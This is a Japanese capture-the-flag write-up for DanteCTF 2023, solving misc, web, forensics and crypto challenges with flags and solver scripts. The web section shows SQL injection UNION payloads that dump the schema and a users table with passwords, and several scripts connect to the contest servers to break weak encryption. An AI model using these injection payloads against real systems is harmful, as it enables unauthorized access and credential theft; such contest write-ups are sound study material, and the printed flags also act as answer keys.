この大会は2023/6/2 16:00(JST)~2023/6/5 6:00(JST)に開催されました。
今回もチームで参戦。結果は1858点で663チーム中39位でした。
自分で解けた問題をWriteupとして書いておきます。
Flag Fabber (Misc)
zipファイルにはgblやgbsなどの拡張子を持つファイルが入っている。https://www.gerber-viewer.com/Viewerでzipファイルを読み込ませ、Layerの表示を変え、ローテートすると、左右反転したフラグが現れた。
DANTE{pcb5_4r3_c00l}
Unknown Site 1 (Web)
https://unknownsite.challs.dantectf.it/robots.txtにアクセスしたら、以下のように表示された。
DANTE{Yo0_Must_B3_A_R0boTtTtTtTTtTAD6182_0991847} /s3cretDirectory1/ /s3cretDirectory2/ /s3cretDirectory3/
DANTE{Yo0_Must_B3_A_R0boTtTtTtTTtTAD6182_0991847}
Dante Barber Shop (Web)
HTMLソースを見ると、img/barber2.jpg~img/barber7.jpgへのリンクがある。img/barber1.jpgへのリンクがないので、アクセスしてみる。
画像に以下のように書いてある。
Backup User barber dant3barbersh0p_cLIVeSidag
ログインページに行き、barber / dant3barbersh0p_cLIVeSidag でログインする。
Nameを部分検索できるページのようだ。検索結果には Name, Surname, Phone が表示されている。
SQLインジェクションで、いろいろ入力して反応を見てみる。
・Z' union select 1, 2, 3 -- Error: SQLite3::query(): Unable to prepare statement: 1, SELECTs to the left and right of UNION do not have the same number of result columns ・Z' union select 1, 2, 3, 4 -- Name Surname Phone 2 3 4 ・Z' union select 1, name, sql, 4 from sqlite_master where type='table' -- Name Surname Phone customers CREATE TABLE customers ( id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, surname TEXT, phone TEXT ) 4 sqlite_sequence CREATE TABLE sqlite_sequence(name,seq) 4 users CREATE TABLE users ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password TEXT ) 4 ・Z' union select 1, id, username, password from users -- Name Surname Phone 1 admin nSOrowLIstERiMbrUsHConesueyeadEr 2 barber dant3barbersh0p_cLIVeSidag
adminユーザのパスワードがわかったので、adminユーザでログインし直してみると、フラグが表示された。
DANTE{dant3_1s_inj3cting_everyb0dy_aaxxaa}
Do You Know GIF? (Forensics)
GIFアニメーションになっている。Giamでフレームごとに分割してみる。一部のフレームにコメントが書いてある。
dante_004.gif: Hey look, a comment! dante_019.gif: These comments sure do look useful dante_063.gif: I wonder what else I could do with them? dante_091.gif: 44414e54457b673166355f dante_101.gif: 3472335f6d3464335f6279 dante_118.gif: 5f626c30636b357d dante_138.gif: At the edges of the map lies the void
途中の16進数文字列を連結してデコードする。
$ echo 44414e54457b673166355f3472335f6d3464335f62795f626c30636b357d | xxd -r -p DANTE{g1f5_4r3_m4d3_by_bl0ck5}
DANTE{g1f5_4r3_m4d3_by_bl0ck5}
Who Can Haz Flag (Forensics)
arpでフィルタリングして、リクエストしているIPアドレスの第4オクテットをASCIIコードとして並べると、フラグになった。
DANTE{wh0_h4s_fl4g_ju5t_45k}
Routes Mark The Spot (Forensics)
ipv6でフィルタリングし、Dataを見てみる。[英数字文字列]:フラグ文字:[英数字文字列]という形式になっていると推測できる。ただ時系列でフラグにはならないので、順序のルールを探す必要がある。IPヘッダのTOSのFlow Levelの番号順に並べれば良さそう。
#!/usr/bin/env python3 from scapy.all import * packets = rdpcap('RoutesMarkTheSpot.pcapng') flag = [''] * 48 i = 1 for p in packets: if p.haslayer(IPv6): fl = p[IPv6].fl c = p[Raw].load.decode().split(':')[1] flag[fl] = c flag = ''.join(flag) print(flag)
DANTE{l4b3l5_c4n_m34n_m4ny_7h1ngs}
Small Inscription (Crypto)
平文の上位ビットがわかっているので、Coppersmithの定理を使って復号する。
#!/usr/bin/env sage from Crypto.Util.number import * msg_base = b'There is something reeeally important you should know, the flag is ' with open('SmallInscription.output', 'r') as f: params = f.read().splitlines() e = 3 ct = int(params[0].split('=')[1]) N = int(params[1].split('=')[1]) for i in range(7, 30): kbits = i * 8 mbar = bytes_to_long(msg_base) * (256 ** i) PR.<x> = PolynomialRing(Zmod(N)) f = (mbar + x)^e - ct x = f.small_roots(X=2^kbits, beta=1) if len(x) != 0: m = int(mbar + x[0]) break msg = long_to_bytes(m).decode() print(msg)
復号結果は以下の通り。
There is something reeeally important you should know, the flag is DANTE{sM4ll_R00tzz}
DANTE{sM4ll_R00tzz}
PiedPic (Crypto)
サーバの処理概要は以下の通り。
・answer: 入力 ・answerが'y'の場合 ・flag: "flag.png"のImageオブジェクト ・key: 画像の幅×高さのサイズのランダムバイト文字列 ・encrypted_flag = encrypt_image(flag, key) ・perm_table: 既知の0~2の順列の全パターンの配列 ・size: 画像の幅×高さ ・pixels: 画像データのリスト ・pixelsの長さ未満のiに対して以下を実行 ・p = pixels[i] ・kbytes = key[i] ・color = [p[i]^255 if kbyte & (1 << i) else p[i] for i in range(3)] ・(r,g,b) = perm_table[int(kbyte) % 6] ・pixels[i] = (color[r], color[g], color[b]) ・flagにpixelsを設定 ・flagをpng形式で保存 ・画像データをbase64エンコードして返却 ・encrypted_flagを表示 ・data: 入力 ・image: 入力データをbase64デコードしてImageオブジェクトにする。 ・encrypted_data = encrypt_image(image, key) ・encrypted_dataを表示
自分で作成した画像の平文と暗号文からkey(バイトごとに下位3ビットのみ)を割り出す。あとはそれを使って、暗号化したフラグ画像を復号する。その際、まず必要な3つの画像ファイルの保存のみを行ってから、復号を行う。
#!/usr/bin/env python3 from pwn import * from PIL import Image from base64 import b64encode, b64decode enc_flag_file = 'enc_flag.png' test_file = 'test.png' enc_test_file = 'enc_test.png' p = remote('challs.dantectf.it', 31511) for _ in range(2): data = p.recvline().decode().rstrip() print(data) data = p.recvuntil(b'?').decode() print(data + 'y') p.sendline(b'y') for _ in range(2): data = p.recvline().decode().rstrip() print(data) data = p.recvrepeat(1).decode() lines = data.split('\n') enc_flag = b64decode(lines[0]) with open(enc_flag_file, 'wb') as f: f.write(enc_flag) enc_flag_img = Image.open(enc_flag_file) w, h = enc_flag_img.size mode = enc_flag_img.mode test_img = Image.new(mode, (w, h), (255, 255, 255, 255)) for y in range(h): for x in range(w): test_img.putpixel((x, y), (1, 2, 4, 255)) test_img.save(test_file) for line in lines[1:3]: print(line) test_bytes = b64encode(test_img.tobytes()).decode() print(lines[3] + test_bytes) p.sendline(test_bytes.encode()) for _ in range(2): data = p.recvline().decode().rstrip() print(data) data = p.recvrepeat(1).decode() lines = data.split('\n') enc_test = b64decode(lines[0]) with open(enc_test_file, 'wb') as f: f.write(enc_test) for line in lines[1:]: print(line)
保存した指定した画像とその暗号化した画像から鍵を求める。その鍵を前提にフラグ画像を復号する。
#!/usr/bin/env python3 from PIL import Image enc_test_file = 'enc_test.png' enc_flag_file = 'enc_flag.png' flag_file = 'flag.png' perm_table = {0: (0, 1, 2), 1: (0, 2, 1), 2: (1, 0, 2), 3: (1, 2, 0), 4: (2, 0, 1), 5: (2, 1, 0)} enc_test_img = Image.open(enc_test_file) enc_flag_img = Image.open(enc_flag_file) enc_test_pixels = list(enc_test_img.getdata()) key = [] for i in range(len(enc_test_pixels)): p1 = (1, 2, 4) p2 = enc_test_pixels[i] for kbyte in range(256): color = [p1[i] ^ 255 if kbyte & (1 << i) else p1[i] for i in range(3)] (r, g, b) = perm_table[kbyte % 6] if (color[r], color[g], color[b]) == (p2[0], p2[1], p2[2]): key.append(kbyte) break w, h = enc_flag_img.size enc_flag_pixels = list(enc_flag_img.getdata()) flag_img = Image.new('RGB', (w, h), (255, 255, 255)) pixels = [] for i in range(len(enc_flag_pixels)): p2 = enc_flag_pixels[i] kbyte = key[i] indexes = list(perm_table[kbyte % 6]) color = [p2[indexes.index(j)] for j in range(3)] color = [color[i] ^ 255 if kbyte & (1 << i) else color[i] for i in range(3)] pixels.append(tuple(color)) flag_img.putdata(pixels) flag_img.save(flag_file)
復号した画像データにフラグが散りばめて書いてあった。
DANTE{Att4cks_t0_p1x3L_Encrypt3d_piCtUrES_511f0c49f8be}
DIY enc (Crypto)
サーバの処理概要は以下の通り。
・key: ランダム16バイト文字列 ・nonce: ランダム15バイト文字列 ・flag_enc: FLAG(長さ19) * 3をAES-CTR暗号化(key, nonce) ・flag_encを表示 ・以下7回繰り返し ・length: 数値入力(4~99) ・pt: 長さlengthのランダム文字列のbase64エンコード ・ptのAES-CTR暗号化(key, nonce) ・ctを表示
base64の"=="を出すようサイズを指定することを考える。
size = 4 ---> pt[6:8] == '==' size = 7 ---> pt[10:12] == '==' size = 10 ---> pt[14:16] == '==' size = 13 ---> pt[18:20] == '==' : size = 34 ---> pt[46:48] == '==' size = 37 ---> pt[50:52] == '==' size = 40 ---> pt[54:56] == '=='
以下の'*'の箇所のXOR鍵はわかる。
[----- FLAG -----] 111111111 0123456789012345678 ** ** ** * [----- FLAG -----] 1222222222233333333 9012345678901234567 * [----- FLAG -----] 3344444444445555555 8901234567890123456 ** ** **
このことからXOR鍵を求め、FLAGは"DANTE{"から始まることを前提に、FLAGを復号する。
#!/usr/bin/env python3 import socket def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('challs.dantectf.it', 31510)) for _ in range(2): data = recvuntil(s, b'\n').rstrip() print(data) enc_flag = bytes.fromhex(data.split(' ')[-1]) for _ in range(2): data = recvuntil(s, b'\n').rstrip() print(data) flag = [0] * 19 for length in [4, 7, 10, 13, 34, 37, 40]: data = recvuntil(s, b'> ') print(data + str(length)) s.sendall(str(length).encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) ct = bytes.fromhex(data.split(' ')[-1]) pos = (length - 1) * 4 // 3 + 2 k0 = ct[pos] ^ ord('=') k1 = ct[pos + 1] ^ ord('=') flag[pos % 19] = enc_flag[pos] ^ k0 flag[(pos + 1) % 19] = enc_flag[pos + 1] ^ k1 FLAG = 'DANTE{' assert flag[0] == ord('D') for i in range(6, 19): FLAG += chr(flag[i]) print(FLAG)
実行結果は以下の通り。
Encrypting flag... Encrypted flag = 4a15049341ed5288fe7651079796978d446bea90c477381dbd9b48bbc7ae7449ab839a37a5988a23db62add01656f5302824cd5203ba315982 You can choose only the length of the plaintext, but not the plaintext. You will not trick me :) > 4 ct = 6330658f4bc70386 > 7 ct = 670023834bfa68fff812330b > 10 ct = 453d2cad43a044edfb293d199388c780 > 13 ct = 77120da437e30cdc8c0f3c6eb5a28085712faae9 > 34 ct = 40667a936bbd64fea72b215b97bba9cf6337ff92d5772321ffbe33be8bbf2c71c58cc81cc08cb728d819dedc0224fd38 > 37 ct = 636d7f8b60f344f59f28435dbd9e90887012e3bde47d243bf2bd42ed9c961f22b3dadd1cae97a811dd6192ce0a2bba4e1244a330 > 40 ct = 5b19299d60a06dfcfe166574b380d5e47416edb0b64f291df49e4efacba4322ba583c256cfd4bd56c301819e3f4ab22e436df26618ed5e57 DANTE{l355_1S_m0R3}
DANTE{l355_1S_m0R3}
Survey (Misc)
アンケートに答えたら、フラグが表示された。
DANTE{7h4nk_y0u}